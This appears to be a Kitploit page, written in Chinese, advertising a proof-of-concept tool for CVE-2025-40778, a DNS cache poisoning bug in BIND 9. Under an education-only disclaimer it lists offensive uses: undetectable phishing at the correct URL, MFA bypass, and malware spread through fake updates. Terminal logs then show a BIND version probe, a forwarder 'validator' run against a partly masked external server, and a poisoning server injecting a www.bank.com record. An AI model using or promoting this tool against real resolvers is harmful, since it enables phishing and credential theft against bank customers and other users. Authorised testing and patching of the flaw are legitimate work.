CVE-2025-40778 — 概念验证，演示通过 BIND 9 中的附加记录注入实现 DNS 缓存投毒，并提供工具来验证和利用 CVE-2025-40778，用于授权安全测试。 | Kitploit

分享

CVE-2025-40778 概念验证

通过附加记录注入演示 DNS 缓存投毒漏洞的教育性示例。

⚠️ 免责声明

仅供教育目的使用

本工具仅用于教育和授权安全测试目的。未经授权将本工具用于您不拥有或未经明确许可测试的系统，属于违法行为且不道德。

作者对本工具被滥用或造成的损害不承担任何责任。

📋 描述

此 PoC 演示了受入侵的权威 DNS 服务器如何将投毒记录注入 DNS 响应，从而可能在用户不知情的情况下将用户重定向到恶意服务器。

攻击向量：

受入侵的权威名称服务器注入附加 DNS 记录
投毒记录被递归解析器缓存
查询合法域名的用户被重定向到攻击者控制的 IP
实现完全透明的钓鱼攻击（正确的 URL，恶意服务器）

可能的应用场景：

100% 透明的钓鱼攻击（正确的 URL）
绕过反钓鱼培训
针对企业网络的大规模攻击
持久性（高 TTL 可持续数小时）
影响所有应用程序
绕过 MFA（通过透明代理）
通过更新分发恶意软件
等等

👤 作者与联系方式

研究员：krakhen.dev
GitHub：@nehkark
邮箱：[email protected]
ICQ：24298753
网站：https://vciso.cloud

🔧 环境要求

pip install dnslib
pip install dnspython
pip install scapy

CVE-2025-40778 技术摘要

🔧 检查 DNS 版本

(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt

; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind.			CH	TXT

;; ANSWER SECTION:
version.bind.		0	CH	TXT	"9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"

;; AUTHORITY SECTION:
version.bind.		0	CH	NS	version.bind.

;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE  rcvd: 134

============================================================
  CVE-2025-40778 - Forwarder Configuration Validator
============================================================

Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com

============================================================
  CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
  DNS Server: 200.0.0.X
  Domain:     www.company.com
============================================================

[1/3] Resolution Test for www.company.com
------------------------------------------------------------
    [✓] www.company.com → 201.0.0.X
    → Forwarder ACTIVE for www.company.com

[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
    Answers:    2 records
    Authority:  1 records
    Additional: 2 records

    ANSWER SECTION:
    → www.company.com. 300 IN CNAME www.holding.com.
    → www.holding.com. 300 IN A 201.0.0.X

    ADDITIONAL SECTION:
    → [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
    → [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X

    → [!!!] MULTIPLE ANSWERS - Possible poisoning detected

[3/3] Forwarder Latency Test
------------------------------------------------------------
    Query 1: 5.63ms
    Query 2: 7.46ms
    Query 3: 6.04ms
    Query 4: 5.04ms
    Query 5: 5.69ms

    Average: 5.97ms
    → [✓] Forwarder working correctly

============================================================
  CONFIGURATION VALIDATED
============================================================

(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py 
============================================================
  CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit:   www.test.local. → 192.168.0.136
[*] Poison:  www.bank.com. → 192.168.0.100

[✓] Running. Ctrl+C to stop.

2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A

(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A

; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local.			IN	A

;; ANSWER SECTION:
www.test.local.		120	IN	A	192.168.0.136

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE  rcvd: 87

2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A